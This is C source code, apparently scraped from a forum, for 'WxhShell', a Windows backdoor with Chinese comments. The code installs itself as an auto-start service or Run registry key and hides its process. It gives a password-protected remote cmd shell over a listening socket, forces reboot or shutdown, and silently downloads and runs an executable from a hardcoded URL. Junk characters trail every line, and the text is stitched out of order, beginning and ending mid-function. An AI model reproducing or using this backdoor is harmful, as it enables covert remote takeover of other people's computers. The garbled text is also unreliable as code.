    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r|:i: ii  
    else { 5_x8!v  
    closesocket(wsh); 6 `+dP"@  
    ExitThread(0); 1c8 J yp  
    } V^As@P8,'(  
    break; 5O%Q*\(  
    } w =^QIr%  
  // 关机 Ao69Qn  
  case 'd': { {+F/lN@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C%9;~S  
    if(Boot(SHUTDOWN)) @~qlSU&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n&jfJgD&g  
    else { *?VbN}g2  
    closesocket(wsh); q okgu$2  
    ExitThread(0); L Me{5H  
    } z}&?^YU*)`  
    break; L#1Y R}m  
    } wKIQK!B)mF  
  // 获取shell =c"`>Vi@d  
  case 's': { -1 ;BwlL  
    CmdShell(wsh); #HfvY}[o  
    closesocket(wsh); 1>r7s*  
    ExitThread(0); [I^>ji0V  
    break; %O#)=M~  
  } U R>zL3  
  // 退出 u^8:/~8K  
  case 'x': { KuL2X@)}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); oi^2Pvauh  
    CloseIt(wsh); )7l+\t  
    break; tpwMy:<Ex  
    } R@ N I  
  // 离开 ze@NqCF  
  case 'q': { 61L  vT"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); MF)Xc\}0p  
    closesocket(wsh); UE3(L ^  
    WSACleanup(); #  -e  
    exit(1); WvQK$}Ax4N  
    break; *$~H=4t  
        } N}HQvlLkF9  
  } $w4%JBZr  
  } Cp` [0v~0  
Vf9PHHH|   
  // 提示信息 ,\laqH\ 1%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \x P$m|Y3  
} SR7$m<0t*  
  } mrX 2w  
Cgq/#2BM  
  return; C8 9c2  
} 1BO$xq  
?^t"tY  
// shell模块句柄 t{Ck"4Cg  
int CmdShell(SOCKET sock) PeT _Ty  
{ :iqFC >D  
STARTUPINFO si; &7"a.&*9xX  
ZeroMemory(&si,sizeof(si)); yr?*{;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a+sHW<QeS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?a?i8rnWo  
PROCESS_INFORMATION ProcessInfo; dfl| 6R  
char cmdline[]="cmd"; HI)MBrj;r  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &.J8O+  
  return 0; {G$I|<MD2T  
} c@;$6WSG^  
]wFKXZeK  
// 自身启动模式 hqrI%%  
int StartFromService(void)  O_^O1  
{ 3 r4QB  
typedef struct GO0Spf_Gh  
{ H EdOo~/~  
  DWORD ExitStatus; E`s9SE  
  DWORD PebBaseAddress; 9 f$S4O5  
  DWORD AffinityMask; {,EOSta  
  DWORD BasePriority; l,AK  
  ULONG UniqueProcessId; DY1?37h  
  ULONG InheritedFromUniqueProcessId; v0hr~1  
}   PROCESS_BASIC_INFORMATION; 64xq@_+  
=+;1^sZ  
PROCNTQSIP NtQueryInformationProcess; 2r;^OWwr?  
1&N|k;#QS  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :&: IZkO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;]YQ WK  
F[m"eEX  
  HANDLE             hProcess;  o"J>MAD  
  PROCESS_BASIC_INFORMATION pbi; juOOD   
0s)B~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i\hH .7G1  
  if(NULL == hInst ) return 0; f[v~U<\R  
*AX)QKQ@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uMOm<kn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %SORs(4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0w^\sf%s  
{.F``2  
  if (!NtQueryInformationProcess) return 0; ;m6Mm`[i<  
d.y2`wT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "j|}-a  
  if(!hProcess) return 0; C {.{>M  
_|%pe]St  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X&qRanOP;z  
JmN,:bI  
  CloseHandle(hProcess); DF D5">g@  
fq-$u;~h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 63:0Vt>hZ^  
if(hProcess==NULL) return 0; !g:UkU\J  
mw}obblR  
HMODULE hMod; JHpoW}7QB  
char procName[255]; pL`snVz  
unsigned long cbNeeded; dLOUL9hf  
N{Og; roGD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); - bL 7M5  
+o&E)S}wP  
  CloseHandle(hProcess); VU,\OOp  
W}B 4^l  
if(strstr(procName,"services")) return 1; // 以服务启动 ]:TX> X!  
),`MAevp  
  return 0; // 注册表启动 bqY}t. Y&"  
} w`XwW#!}@$  
T=7V+  
// 主模块 xo{f"8}^  
int StartWxhshell(LPSTR lpCmdLine) b:fy  
{ E\!:MCL  
  SOCKET wsl; G3QB Rh{  
BOOL val=TRUE; #u+BjuZo  
  int port=0; }D.?O,ue  
  struct sockaddr_in door; PZ69aZ*Gs  
$ hB;r  
  if(wscfg.ws_autoins) Install(); aM'0O![d  
^EU& 6M2  
port=atoi(lpCmdLine); 'R6D+Vk/  
@'[w7HsJ  
if(port<=0) port=wscfg.ws_port; QI>yi&t  
QC>I<j& `!  
  WSADATA data; X70vDoW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~h-G  
g#FqjE|mx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   J)(H-xvV  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &rj6<b1A  
  door.sin_family = AF_INET; Ne/jvWWN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /:dVW" A|  
  door.sin_port = htons(port); Y.rHl4  
(\FjbY9&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Lc^nNUzPo  
closesocket(wsl); $I_ 04k#t  
return 1; [ d<|Cde  
} HC w$v#  
js Tb0  
  if(listen(wsl,2) == INVALID_SOCKET) { `xe[\Z2  
closesocket(wsl); :7Mo0,Bw,  
return 1; RLY Ae  
} >>krH'79  
  Wxhshell(wsl); Y5LESZWo  
  WSACleanup(); l1`Zp9I  
6,  ag\  
return 0; <Xw 6m$fr:  
;}K1c+m!5V  
} aq"E@fb  
rBs7,h  
// 以NT服务方式启动 y5?T`ts,#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Cq1t[a  
{ t&SJ!>7_c  
DWORD   status = 0; uR)itmc?  
  DWORD   specificError = 0xfffffff; 'xZxX3  
qM@][]j:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Jf`;F :  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; lsW.j#yE!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .^#{rk  
  serviceStatus.dwWin32ExitCode     = 0; ;~z>GJox  
  serviceStatus.dwServiceSpecificExitCode = 0; 7|zt'.56[  
  serviceStatus.dwCheckPoint       = 0; &{&lCBN  
  serviceStatus.dwWaitHint       = 0; k}>l+_*+7  
|NtT-T)7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  9 N=KU  
  if (hServiceStatusHandle==0) return; mUr@w*kq|p  
?-<t-3%hyV  
status = GetLastError(); eJ{"\c(  
  if (status!=NO_ERROR) g ^)>-$=  
{ S,AZrgh,"X  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2)RW*Qu;+  
    serviceStatus.dwCheckPoint       = 0; i BJ*6orz  
    serviceStatus.dwWaitHint       = 0; *sJx0<!M}  
    serviceStatus.dwWin32ExitCode     = status; f;u;hQxs  
    serviceStatus.dwServiceSpecificExitCode = specificError; *-+~H1tP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); pzU">)  
    return; .j88=t0  
  } 9ciL<'H\  
&%u,b~cL?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; nq/xD;q  
  serviceStatus.dwCheckPoint       = 0; y#AY+ >  
  serviceStatus.dwWaitHint       = 0; U YUIpe  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .NjdkHYR  
} ec1g7w-n  
 4EB$e?  
// 处理NT服务事件,比如:启动、停止 eV9:AN}K=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) K 1:F{*  
{ Zz?+,-$_*&  
switch(fdwControl) AaTtY d  
{ O-T/H-J`  
case SERVICE_CONTROL_STOP: u.hnQsM  
  serviceStatus.dwWin32ExitCode = 0; =5Q;quKu^5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (!X:[Ah*$  
  serviceStatus.dwCheckPoint   = 0; u6r-{[W}  
  serviceStatus.dwWaitHint     = 0; 5tq$SF42X  
  { }f&7<E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m}uF&|5  
  } "6KOql3  
  return; \ vJ*3H6  
case SERVICE_CONTROL_PAUSE: L6 _Sc-sU  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ixKQh};5/  
  break; LiV]!*9$KG  
case SERVICE_CONTROL_CONTINUE: 3&' STPpW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; g X(QRQ  
  break; Wnf`Rf)1z  
case SERVICE_CONTROL_INTERROGATE: }|SVt`n  
  break; 9oq(5BG,  
}; }f-rWe{gs>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GtGToI  
} .{x5(bi0S  
#='#`5_5  
// 标准应用程序主函数 Y(A?ib~K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x~{ m%)I  
{ .FMF0r>l  
czZ-C +}%  
// 获取操作系统版本 &P+cTN9)  
OsIsNt=GetOsVer(); EvECA,!i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6kDU}]c:H]  
3QR-8  
  // 从命令行安装 0?`#ko7~d  
  if(strpbrk(lpCmdLine,"iI")) Install(); QiRzA4-zq  
V&}Z# 9Dx  
  // 下载执行文件 Hd2_Cg FB  
if(wscfg.ws_downexe) { ]g)%yuox9F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4PF4#  
  WinExec(wscfg.ws_filenam,SW_HIDE); ix/uV)]k`  
} U NAuF8>K  
kU^@R<Fo  
if(!OsIsNt) { >C&!# 3  
// 如果时win9x,隐藏进程并且设置为注册表启动 hOC,Eo  
HideProc(); vcSS+  
StartWxhshell(lpCmdLine); TX+t   
} 2 rBF<z7  
else #F6ak,9S4  
  if(StartFromService()) cM"I3  
  // 以服务方式启动 oz0-'_  
  StartServiceCtrlDispatcher(DispatchTable); :m~lgb<  
else Fwqv 1+  
  // 普通方式启动 _j2`#|oG  
  StartWxhshell(lpCmdLine); @v'<~9vG  
%FRkvqV*  
return 0; dW5z0VuB$/  
} ~G$OY9UC  
"l@~WE  
0y1t%C075  
vaU7tJ:  
=========================================== +I~?8*  
rLXn35O  
wvYxL c#p0  
{38aaf|'/  
FG(`&S+,  
<;T7q EIlo  
" wb?hfe  
y7Ub~q U  
#include <stdio.h> N1-LM9S  
#include <string.h> eyG.XAP  
#include <windows.h> g-s@m}[T  
#include <winsock2.h> M]{!Nx  
#include <winsvc.h> 9c6V&b  
#include <urlmon.h> %)e+w+  
O*PHo_&G  
#pragma comment (lib, "Ws2_32.lib") 'GyPl  
#pragma comment (lib, "urlmon.lib") PLyu1{1" z  
?|/}~ nj7  
#define MAX_USER   100 // 最大客户端连接数 2=|IOkY  
#define BUF_SOCK   200 // sock buffer .G]# _U  
#define KEY_BUFF   255 // 输入 buffer &Y>u2OZ  
P&YaJUq.u  
#define REBOOT     0   // 重启 y{sA["   
#define SHUTDOWN   1   // 关机 `iI"rlc  
yKI.TR#  
#define DEF_PORT   5000 // 监听端口 ww2Qa-K  
)X/Faje  
#define REG_LEN     16   // 注册表键长度 2I<T<hFW]  
#define SVC_LEN     80   // NT服务名长度 g}-Z]2(c#  
#j JcgR<  
// 从dll定义API E~P 0}'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $Da^z[8e  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y<+4>Eh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8iNAs#s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z,)sS<t(  
1sjn_fPz  
// wxhshell配置信息 GP$ Y4*y/  
struct WSCFG { fz3*oJ'  
  int ws_port;         // 监听端口 o0L#39`' g  
  char ws_passstr[REG_LEN]; // 口令 t["Df;"O  
  int ws_autoins;       // 安装标记, 1=yes 0=no DE ws+y-*  
  char ws_regname[REG_LEN]; // 注册表键名 B>ZPn6?y  
  char ws_svcname[REG_LEN]; // 服务名 C":\L>Ax  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 r\d:fot  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q1Sm#_7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ArYF\7P  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o }A #-   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" zIFL?8!H9{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H\mVK!](D  
;l()3;  
}; ai4^NJn  
RHVv}N0  
// default Wxhshell configuration S(i(1Hs.  
struct WSCFG wscfg={DEF_PORT, C4tl4df9  
    "xuhuanlingzhe", `uA&w}(G  
    1, ssITe., ny  
    "Wxhshell", MPn>&28"|K  
    "Wxhshell", +3>/,w(x  
            "WxhShell Service", r5!M;hU1j  
    "Wrsky Windows CmdShell Service", \STvBI?  
    "Please Input Your Password: ", "NH+qQhs  
  1, yQ{_\t1Wd  
  "http://www.wrsky.com/wxhshell.exe", 0t?<6-3`/  
  "Wxhshell.exe" \)ZX4rs{8  
    }; T zYgH  
@^cgq3H'  
// 消息定义模块 $S8bp3)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ' ,`4 U F  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I%>]!X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j jT 2k  
char *msg_ws_ext="\n\rExit."; ysJhP .  
char *msg_ws_end="\n\rQuit."; F>kn:I"X)  
char *msg_ws_boot="\n\rReboot..."; b[o"Uq@8?  
char *msg_ws_poff="\n\rShutdown..."; )|R0_9CLV  
char *msg_ws_down="\n\rSave to "; n3g WM C  
,tF" 4|#  
char *msg_ws_err="\n\rErr!"; u|>U`[Zpj  
char *msg_ws_ok="\n\rOK!"; _AHB|P I  
k,iV$,[TF  
char ExeFile[MAX_PATH]; eKpxskbhZ  
int nUser = 0; IA 9v1:>  
HANDLE handles[MAX_USER]; pD_eo6xX  
int OsIsNt; Ldj^O9p(  
`(Q_ 65y  
SERVICE_STATUS       serviceStatus; 9 roth  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; YSz$` 7i  
NT9- j#V  
// 函数声明 -5,y 1_M  
int Install(void); l)PFzIz=V  
int Uninstall(void); V<NsmC=g  
int DownloadFile(char *sURL, SOCKET wsh); (9 z.IH7}k  
int Boot(int flag); ~v(M6dz~vk  
void HideProc(void); ah"MzU)  
int GetOsVer(void); nP{sCH 1  
int Wxhshell(SOCKET wsl); 2:HP5   
void TalkWithClient(void *cs); -anFt+f-  
int CmdShell(SOCKET sock); OG?j6q hpl  
int StartFromService(void); %)hIpxOrX  
int StartWxhshell(LPSTR lpCmdLine); vH?+JN"A  
k5%0wHpk=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ZJI1NCBZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); JU=\]E@8c  
"G-0iKW;  
// 数据结构和表定义 b^l -*4  
SERVICE_TABLE_ENTRY DispatchTable[] =  Vq)gpR  
{ u388Wj   
{wscfg.ws_svcname, NTServiceMain}, vu'!-K=0  
{NULL, NULL} E%2!C/+B  
}; lF}$`6  
cH*/zNp  
// 自我安装 NtA|#"^  
int Install(void) sg6w7fp>  
{ .1z$ A  
  char svExeFile[MAX_PATH]; " ,aT<lw.  
  HKEY key; b6WC @j`*T  
  strcpy(svExeFile,ExeFile); R!V5-0%  
F3Ak'h{Ay  
// 如果是win9x系统,修改注册表设为自启动 fdq^!MWTi  
if(!OsIsNt) { u5{5ts+:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LcpyW=)}"V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %+7T9>+  
  RegCloseKey(key); e1 {t0f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T) Zt'M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mS)|6=Y  
  RegCloseKey(key); &` 00/p  
  return 0; y[^k*,= 9  
    } ;5Wx$Yfx  
  } <9d-Hz  
} L&DF,fWsF&  
else { 68J 9T^84  
#A|D\IhF  
// 如果是NT以上系统,安装为系统服务 +C'TW^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1o;g1Z/  
if (schSCManager!=0) ;Oi[:Ck  
{ 6HEqm>Yau  
  SC_HANDLE schService = CreateService _Ra<|NVQh  
  ( c9*1$~(v0I  
  schSCManager, wZo.ynXT  
  wscfg.ws_svcname, &sZ9$s:(^  
  wscfg.ws_svcdisp, ~|r'2V*  
  SERVICE_ALL_ACCESS, E VN-<=i^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , AK@`'$  
  SERVICE_AUTO_START, v.l7Q  
  SERVICE_ERROR_NORMAL, w'oo-.k  
  svExeFile, \uU=O )  
  NULL, s FQ4O- SM  
  NULL, 0|fb< "  
  NULL, W.#}q K" q  
  NULL, Ci7P%]9  
  NULL M#\  <  
  ); ?Do^stq'4  
  if (schService!=0) ;~Q  
  { 9 3W  
  CloseServiceHandle(schService); Pl rkgS0J  
  CloseServiceHandle(schSCManager); AW,v  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "3{#d9Gs  
  strcat(svExeFile,wscfg.ws_svcname); HE#,(;1i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { GBH_r 0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Jv_.itc  
  RegCloseKey(key); @4IW=V  
  return 0; }xAie(  
    } s<[A0=LH  
  } {]wIM^$6+  
  CloseServiceHandle(schSCManager); K0w<[CO  
} r4O|()  
} BdN8 ^W  
,Bisu:v6FW  
return 1; Z[",$Lt  
} %'Zc2h&z  
2t+D8 d|c<  
// 自我卸载 >Bc> IO  
int Uninstall(void) A_!QrM  
{ !Eq#[Gs  
  HKEY key; zVSx$6eiU  
<f N; xIB  
if(!OsIsNt) { 4-mVB wq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "`pNH'   
  RegDeleteValue(key,wscfg.ws_regname); 9YB2 e84j  
  RegCloseKey(key); )2xE z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {m[s<A(  
  RegDeleteValue(key,wscfg.ws_regname); P0^c?s"I  
  RegCloseKey(key); }91*4@B7  
  return 0; \V,c]I   
  } lsk_P&M  
} i3#'*7f%j  
} -"=)z /S  
else { #ZJMlJ:q`"  
|( G2K'Ab  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .2 0V 3  
if (schSCManager!=0) yub{8f;v  
{ K UKACUL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4S|=/f  
  if (schService!=0) Us,)]W.S  
  { ldGojnS  
  if(DeleteService(schService)!=0) { C-m*?))go  
  CloseServiceHandle(schService); Rf)ke("  
  CloseServiceHandle(schSCManager); `0{ S3v  
  return 0; Ytao"R/  
  } !SO8O  
  CloseServiceHandle(schService); P ZxFZvE  
  }  W^Y#pn  
  CloseServiceHandle(schSCManager); d H? ScXM=  
} sYqgXE.  
} n2 {SV  
\=;uu_v$  
return 1; 2C$R4:Ssw)  
} -Fxmsi  
.$&Q[r3Lu  
// 从指定url下载文件 PE"v*9k  
int DownloadFile(char *sURL, SOCKET wsh) #DFV=:|~  
{ V5mlJml2(  
  HRESULT hr; @*>Sw>oet  
char seps[]= "/"; t 9^A(Vh"-  
char *token; QJn`WSw$_-  
char *file; AVl~{k|  
char myURL[MAX_PATH]; 3GH(wSv9\  
char myFILE[MAX_PATH]; \K iwUz  
-F\qnsZ2  
strcpy(myURL,sURL); %0,-.(h  
  token=strtok(myURL,seps); +oc >S  
  while(token!=NULL) jjzA .8?(7  
  { ]]0,|My7  
    file=token; 6G AaV[])'  
  token=strtok(NULL,seps); :7g=b%;  
  } VsK>6S\T  
?wb+L  
GetCurrentDirectory(MAX_PATH,myFILE); X^@ I].  
strcat(myFILE, "\\"); 17|np2~  
strcat(myFILE, file); amWD-0V  
  send(wsh,myFILE,strlen(myFILE),0); zR;X*q"T$4  
send(wsh,"...",3,0); ?4 S+edX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #]]Su91BA  
  if(hr==S_OK) ]y@F8$D!  
return 0; h3* x[W  
else _[K"gu  
return 1; Dg HaOAdU  
ObG|o1b  
} (`BSVxJH  
Q`%R[#  
// 系统电源模块 lrWQOYf2  
int Boot(int flag) FV39QG4b4  
{ 4|?{VQ  
  HANDLE hToken; BvD5SBa}"  
  TOKEN_PRIVILEGES tkp; tV;`fV   
Y&HK1>M_  
  if(OsIsNt) { o%E;3l  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); uI~S=;o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3+Qxg+<  
    tkp.PrivilegeCount = 1; \x{;U#B[3>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SOZPZUUEJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *?ITns W<  
if(flag==REBOOT) { ~EzaC?fQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6 K` c/)  
  return 0; bx4'en#  
} oR1^/e  
else { hU]HTX'R  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) g*UMG>  
  return 0; O,2~"~kF  
} *l+OlQI0+  
  } N==ZtKj F  
  else { tR0pH8?e"  
if(flag==REBOOT) { h%; e0Xz|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) J5p"7bc  
  return 0; OLGBt  
} ]uj=:@  
else { =]`lN-rYw  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >_dx_<75&  
  return 0; KlV:L 4a~  
} 9E2j!  
} \0l>q ,  
RO;Bl:x4  
return 1; zya5Jb:Sg  
} A1)wo^,  
j"^ +oxH  
// win9x进程隐藏模块 T{qTj6I  
void HideProc(void) @E( 7V(m/  
{ wbDM5%  
XC 7?VE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); SK1!thQy  
  if ( hKernel != NULL ) _=ua6}Xp  
  { :@W.K5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Gb[`R}^dq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  [,n c  
    FreeLibrary(hKernel); k#8Ti"0  
  } 6S6f\gAM  
`l2O?U-@  
return; )"f N!9,F  
} 8[r9HC  
[7(-T?_  
// 获取操作系统版本 b'MSkEiQG  
int GetOsVer(void) Go,N>HN  
{ h)~=Dm  
  OSVERSIONINFO winfo; 5@*'2rO&!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); yC 77c=  
  GetVersionEx(&winfo); &g2 Eptx#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8WE{5#oi  
  return 1; Y(cN}44  
  else i)#:qAtP*  
  return 0; nJPyM/p  
} =@TQ>Qw%b  
pg]BsJN  
// 客户端句柄模块 $+.l*]  
int Wxhshell(SOCKET wsl) ;8!Z5H  
{ P oEqurH0  
  SOCKET wsh; U hIDRR  
  struct sockaddr_in client; XLMb=T~S  
  DWORD myID; ?"?6,;F(4  
S+TOSjfis  
  while(nUser<MAX_USER) V\(:@0"  
{ u?s VcD[  
  int nSize=sizeof(client); E}%hz*Q)(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4&/j|9=X  
  if(wsh==INVALID_SOCKET) return 1; n$xQ[4eH)  
]%Zz \Q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r>bJ%M}  
if(handles[nUser]==0) hHqh{:q{v  
  closesocket(wsh); Kscd}f)yx?  
else 0Z{j>=$  
  nUser++; E^U0f/5 m  
  } y4+ ;z2' >  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =@F&o4)r  
Y.^=]-n,  
  return 0; <AJ97MLcc  
} p&VU0[LIC0  
!|c|o*t{  
// 关闭 socket d GP*O  
void CloseIt(SOCKET wsh) bI|2@H V2  
{ xq"Jy=4Q*  
closesocket(wsh); ioPUUUb)  
nUser--; :_M;E"9R  
ExitThread(0); qC'{;ko  
} l7De6A"  
d\|!Hg,  
// 客户端请求句柄 .jMq  
void TalkWithClient(void *cs) OzC\9YeA  
{ cyJG8f  
1 hg}(Hix  
  SOCKET wsh=(SOCKET)cs; O9:U8$*  
  char pwd[SVC_LEN]; Rb3V^;i  
  char cmd[KEY_BUFF]; b%cF  
char chr[1]; h;3cd0  
int i,j; )& u5IA(  
8b0d]*q  
  while (nUser < MAX_USER) { P'Q+GRpSw  
'w1YFdW  
if(wscfg.ws_passstr) { qY[xpm  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XkyKBg-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Is+O  
  //ZeroMemory(pwd,KEY_BUFF); ul*Qt}  
      i=0; .CFa9"<  
  while(i<SVC_LEN) { jv&!Kw.Ug  
aN(|'uO@  
  // 设置超时 ~H!S,"n^,P  
  fd_set FdRead; 8zMu7,E  
  struct timeval TimeOut; +>4;Zd!@d  
  FD_ZERO(&FdRead); ^n+!4(@=  
  FD_SET(wsh,&FdRead); H'HSD,>(  
  TimeOut.tv_sec=8; Uo2GK3nT  
  TimeOut.tv_usec=0; P\_`   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E }ZJ)V7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'MY/*k7:  
"9n3VX)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vv=VRhwF  
  pwd=chr[0]; Onwp-!!.  
  if(chr[0]==0xd || chr[0]==0xa) { <mAhr  
  pwd=0; ZI=v.wa  
  break; MR}Agu#LG  
  } t#2(j1  
  i++; 5<w g 8y  
    } YQY%M>F@d%  
4rrSb*  
  // 如果是非法用户,关闭 socket o*J3C>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yiO. z  
} v,ju!I0.  
%plo=RF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q1+dCCY#F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7nuU^wc  
YIjTL!bA"  
while(1) { +>PX&F  
QqU!Najf  
  ZeroMemory(cmd,KEY_BUFF); _]:z \TDn  
s;A@*Y;v  
      // 自动支持客户端 telnet标准   Ng_!zrx04  
  j=0; rOVVL%@QqJ  
  while(j<KEY_BUFF) { [1u-Q%?#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4#l o$#  
  cmd[j]=chr[0]; 9 yfJVg  
  if(chr[0]==0xa || chr[0]==0xd) { q|),`.eh\  
  cmd[j]=0; Q@HopiC  
  break; eow'K 821A  
  } )vSRHE  
  j++; 5D'\b}*lJ}  
    } [W7CXZDd  
wH@Ns~[MA  
  // 下载文件 :eCU/BC4  
